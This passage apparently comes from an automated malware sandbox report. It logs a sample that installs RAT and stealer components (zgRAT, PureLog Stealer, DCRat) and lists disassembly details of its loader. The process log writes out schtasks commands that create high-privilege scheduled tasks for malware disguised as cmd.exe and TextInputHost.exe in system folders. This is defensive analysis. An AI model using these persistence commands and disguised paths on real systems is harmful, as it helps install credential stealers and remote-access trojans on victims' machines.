Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 9 /tr "'C:\Windows\apppatch\AppPatch64\TextInputHost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:42:13
Start date:	02/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Defender\Offline\cmd.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	23:42:13
Start date:	02/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files\Windows Defender\Offline\cmd.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	23:42:13
Start date:	02/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Defender\Offline\cmd.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:42:13
Start date:	02/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXHo" /sc MINUTE /mo 12 /tr "'C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	23:42:13
Start date:	02/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXH" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	23:42:13
Start date:	02/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXHo" /sc MINUTE /mo 11 /tr "'C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:42:13
Start date:	02/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\L5wEVj25hO.bat"
Imagebase:	0x7ff711a30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	23:42:13
Start date:	02/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	23:42:14
Start date:	02/04/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6a2650000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	23:42:14
Start date:	02/04/2024
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff692c00000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	23:42:14
Start date:	02/04/2024
Path:	C:\Program Files\Windows Defender\Offline\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\Offline\cmd.exe"
Imagebase:	0x6d0000
File size:	3'674'624 bytes
MD5 hash:	DF7F61CEDD325D4A957DC5E5D5B382FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Windows Defender\Offline\cmd.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows Defender\Offline\cmd.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	23:42:14
Start date:	02/04/2024
Path:	C:\Program Files\Windows Defender\Offline\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\Offline\cmd.exe"
Imagebase:	0xbf0000
File size:	3'674'624 bytes
MD5 hash:	DF7F61CEDD325D4A957DC5E5D5B382FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: oZTcEkJaieSsRsrMRoYKmeAXH.exePID: 8164, Parent PID: 1044

General

Target ID:	30
Start time:	23:42:14
Start date:	02/04/2024
Path:	C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe"
Imagebase:	0xd40000
File size:	3'674'624 bytes
MD5 hash:	DF7F61CEDD325D4A957DC5E5D5B382FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	23:42:15
Start date:	02/04/2024
Path:	C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe"
Imagebase:	0x260000
File size:	3'674'624 bytes
MD5 hash:	DF7F61CEDD325D4A957DC5E5D5B382FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	23:42:19
Start date:	02/04/2024
Path:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\apppatch\AppPatch64\TextInputHost.exe"
Imagebase:	0xd50000
File size:	3'674'624 bytes
MD5 hash:	DF7F61CEDD325D4A957DC5E5D5B382FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000024.00000002.2889594930.0000000003A3E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000024.00000002.2889594930.0000000003662000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	23:43:17
Start date:	02/04/2024
Path:	C:\Users\user\AppData\Local\Temp\5GG.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\5GG.exe"
Imagebase:	0x7ff7e54a0000
File size:	67'013'737 bytes
MD5 hash:	D8C47724D1AC161564731578199131FB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	23:43:17
Start date:	02/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "ver"
Imagebase:	0x7ff711a30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	23:43:17
Start date:	02/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	26

Executed Functions

Function 00007FF7E54C6370 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF7E54C63B5

Part of subcall function 00007FF7E54C5D08: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C5D1C

Part of subcall function 00007FF7E54BAF0C: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF7E54C3392,?,?,?,00007FF7E54C33CF,?,?,00000000,00007FF7E54C3895,?,?,00000000,00007FF7E54C37C7), ref: 00007FF7E54BAF22
Part of subcall function 00007FF7E54BAF0C: GetLastError.KERNEL32(?,?,?,00007FF7E54C3392,?,?,?,00007FF7E54C33CF,?,?,00000000,00007FF7E54C3895,?,?,00000000,00007FF7E54C37C7), ref: 00007FF7E54BAF2C

Part of subcall function 00007FF7E54BAEC4: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7E54BAEA3,?,?,?,?,?,00007FF7E54B30CC), ref: 00007FF7E54BAECD
Part of subcall function 00007FF7E54BAEC4: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7E54BAEA3,?,?,?,?,?,00007FF7E54B30CC), ref: 00007FF7E54BAEF2

_get_daylight.LIBCMT ref: 00007FF7E54C63A4

Part of subcall function 00007FF7E54C5D68: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C5D7C

_get_daylight.LIBCMT ref: 00007FF7E54C661A
_get_daylight.LIBCMT ref: 00007FF7E54C662B
_get_daylight.LIBCMT ref: 00007FF7E54C663C
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7E54C687C), ref: 00007FF7E54C6663

Strings

W. Europe Standard Time, xrefs: 00007FF7E54C6709
W. Europe Summer Time, xrefs: 00007FF7E54C6721

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureInformationLanguagesLastPreferredPresentProcessProcessorRestoreThreadTimeZone
String ID: W. Europe Standard Time$W. Europe Summer Time
API String ID: 1458651798-690618308
Opcode ID: 54e1ccf0b1e099ab2aef5fd1d20d70d6c7b19d4e9a74b58f9fc53268ba567377
Instruction ID: be3290dc38520bedfcf5c0f9bc68a26260d9df71542fa43a91bd0738134ffba8
Opcode Fuzzy Hash: 54e1ccf0b1e099ab2aef5fd1d20d70d6c7b19d4e9a74b58f9fc53268ba567377
Instruction Fuzzy Hash: F9D1B366A0824A46F724BF25D8607B9A361EF86F84FC08137DA0DC7695DF3CE449C762

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54C72BC Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E54C6FF0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C7031
Part of subcall function 00007FF7E54C6FF0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C70AF
Part of subcall function 00007FF7E54C6FF0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C7100

CreateFileW.KERNELBASE ref: 00007FF7E54C73C2
CreateFileW.KERNEL32 ref: 00007FF7E54C7412
GetLastError.KERNEL32 ref: 00007FF7E54C7442
GetFileType.KERNELBASE ref: 00007FF7E54C7457
GetLastError.KERNEL32 ref: 00007FF7E54C7461
CloseHandle.KERNEL32 ref: 00007FF7E54C7494
CloseHandle.KERNEL32 ref: 00007FF7E54C75F7
CreateFileW.KERNEL32 ref: 00007FF7E54C762C
GetLastError.KERNEL32 ref: 00007FF7E54C763B

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: d1d4f06f2925cf98ba43065425f03779d4007acc0884ea13a9d80746d18551ee
Instruction ID: 1e992272955c8858d1c4a3e7e5c82d460f4652c2cda545c1b204d53653fd9307
Opcode Fuzzy Hash: d1d4f06f2925cf98ba43065425f03779d4007acc0884ea13a9d80746d18551ee
Instruction Fuzzy Hash: 69C1C536B24A4586FB50DFA4C4603AC7761FB8AF98B81423ADE1E97794CF38D15AC311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A7950 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000000,?,00000000,00000000,?,00007FF7E54A154F), ref: 00007FF7E54A79E7

Part of subcall function 00007FF7E54A7B60: GetEnvironmentVariableW.KERNEL32(00007FF7E54A3A1F), ref: 00007FF7E54A7B9A
Part of subcall function 00007FF7E54A7B60: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7E54A7BB7

Part of subcall function 00007FF7E54B7DEC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B7E05

SetEnvironmentVariableW.KERNEL32 ref: 00007FF7E54A7AA1

Part of subcall function 00007FF7E54A2B30: MessageBoxW.USER32 ref: 00007FF7E54A2C05

Strings

TMP, xrefs: 00007FF7E54A798A, 00007FF7E54A7A49, 00007FF7E54A7AD7
LOADER: Failed to set the TMP environment variable., xrefs: 00007FF7E54A79CA
TMP, xrefs: 00007FF7E54A79B0
_MEI%d, xrefs: 00007FF7E54A79F5

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
API String ID: 3752271684-1116378104
Opcode ID: d0ee005bfdeb011a84540aff6346199bb1fc02b76f4ac94b865217064e0c6b04
Instruction ID: f47cd9872896c8a237d62e43e941e378c38a3649e8ea5455c492f1b4bc4bf69e
Opcode Fuzzy Hash: d0ee005bfdeb011a84540aff6346199bb1fc02b76f4ac94b865217064e0c6b04
Instruction Fuzzy Hash: 82515F61B0965A41FAA4B76258353BAD2515F8AFC0FC44437ED0EC7797FE3CE5098222

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54C65EC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF7E54C661A

Part of subcall function 00007FF7E54C5D68: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C5D7C

_get_daylight.LIBCMT ref: 00007FF7E54C662B

Part of subcall function 00007FF7E54C5D08: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C5D1C

_get_daylight.LIBCMT ref: 00007FF7E54C663C

Part of subcall function 00007FF7E54C5D38: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C5D4C

Part of subcall function 00007FF7E54BAF0C: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF7E54C3392,?,?,?,00007FF7E54C33CF,?,?,00000000,00007FF7E54C3895,?,?,00000000,00007FF7E54C37C7), ref: 00007FF7E54BAF22
Part of subcall function 00007FF7E54BAF0C: GetLastError.KERNEL32(?,?,?,00007FF7E54C3392,?,?,?,00007FF7E54C33CF,?,?,00000000,00007FF7E54C3895,?,?,00000000,00007FF7E54C37C7), ref: 00007FF7E54BAF2C

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7E54C687C), ref: 00007FF7E54C6663

Strings

W. Europe Standard Time, xrefs: 00007FF7E54C6709
W. Europe Summer Time, xrefs: 00007FF7E54C6721

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorInformationLanguagesLastPreferredRestoreThreadTimeZone
String ID: W. Europe Standard Time$W. Europe Summer Time
API String ID: 2248164782-690618308
Opcode ID: d89d275585cbbb59bda8e874ee0f2677ffedd79ad2d8aa11b56fbb7743459a01
Instruction ID: ea15ab1965d36c8fc212921b49e342d5a24bdab892cb458c4e25cbe552605d6b
Opcode Fuzzy Hash: d89d275585cbbb59bda8e874ee0f2677ffedd79ad2d8aa11b56fbb7743459a01
Instruction Fuzzy Hash: 9F519572A0864686F710FF25D8A06A9A360BF8AB84FC09537DA4DC7695DF3CE4488761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A1710 Relevance: 24.6, APIs: 1, Strings: 13, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF7E54A1866
fread, xrefs: 00007FF7E54A18FC
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF7E54A18E5
malloc, xrefs: 00007FF7E54A186D
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7E54A1806
fwrite, xrefs: 00007FF7E54A18EC
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7E54A17D9
Failed to extract %s: failed to open target file!, xrefs: 00007FF7E54A1790
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7E54A18F5
fopen, xrefs: 00007FF7E54A1797
Failed to create symbolic link %s!, xrefs: 00007FF7E54A1753
pyi_arch_extract2fs was called before temporary directory was initialized!, xrefs: 00007FF7E54A1726
fseek, xrefs: 00007FF7E54A180D

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc$pyi_arch_extract2fs was called before temporary directory was initialized!
API String ID: 2030045667-3833288071
Opcode ID: 7ecb526cbdd201474478e95bc254bbed5f7f1c17f990a5e657c7512bda329ba9
Instruction ID: 3c8a57f9bafe0a60b4b77a4a840be8b1524d7c8cbb21d131269635797b1717f6
Opcode Fuzzy Hash: 7ecb526cbdd201474478e95bc254bbed5f7f1c17f990a5e657c7512bda329ba9
Instruction Fuzzy Hash: D651A1A1B0C64A81FA51BB11D4603A9E390AF46FD4FC45532DE0C87696EF3CE14CC722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A8950 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(0000000100000001,00007FF7E54A414C,00007FF7E54A7911,?,00007FF7E54A7D26,?,00007FF7E54A1785), ref: 00007FF7E54A8990
OpenProcessToken.ADVAPI32(?,00007FF7E54A7D26,?,00007FF7E54A1785), ref: 00007FF7E54A89A1
GetTokenInformation.KERNELBASE(?,00007FF7E54A7D26,?,00007FF7E54A1785), ref: 00007FF7E54A89C3
GetLastError.KERNEL32(?,00007FF7E54A7D26,?,00007FF7E54A1785), ref: 00007FF7E54A89CD
GetTokenInformation.KERNELBASE(?,00007FF7E54A7D26,?,00007FF7E54A1785), ref: 00007FF7E54A8A0A
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7E54A8A1C
FindCloseChangeNotification.KERNELBASE(?,00007FF7E54A7D26,?,00007FF7E54A1785), ref: 00007FF7E54A8A34
LocalFree.KERNEL32(?,00007FF7E54A7D26,?,00007FF7E54A1785), ref: 00007FF7E54A8A66
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF7E54A8A8D
CreateDirectoryW.KERNELBASE(?,00007FF7E54A7D26,?,00007FF7E54A1785), ref: 00007FF7E54A8A9E

Strings

S-1-3-4, xrefs: 00007FF7E54A8A3F
D:(A;;FA;;;%s), xrefs: 00007FF7E54A8A49

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Token$ConvertDescriptorInformationProcessSecurityString$ChangeCloseCreateCurrentDirectoryErrorFindFreeLastLocalNotificationOpen
String ID: D:(A;;FA;;;%s)$S-1-3-4
API String ID: 2187719417-2855260032
Opcode ID: 9d301874694f13eee612efc427f36135b77fc192910b60788b949b6aa4b4f411
Instruction ID: 98f091eeb94c8e0b1f0771c9f750234c0272ee8d618fbfcd19086d248e0f5b8b
Opcode Fuzzy Hash: 9d301874694f13eee612efc427f36135b77fc192910b60788b949b6aa4b4f411
Instruction Fuzzy Hash: 0C41A73261868A82E750AF51F4647A9B360FB86B94FD40232E56D876D9EF3CE40CC711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A1AA0 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E54A82B0: _fread_nolock.LIBCMT ref: 00007FF7E54A835A

_fread_nolock.LIBCMT ref: 00007FF7E54A1B54

Part of subcall function 00007FF7E54A2890: MessageBoxW.USER32 ref: 00007FF7E54A299B

Strings

Failed to read cookie!, xrefs: 00007FF7E54A1B5F
Could not allocate buffer for TOC!, xrefs: 00007FF7E54A1BD6
MEI, xrefs: 00007FF7E54A1AE2
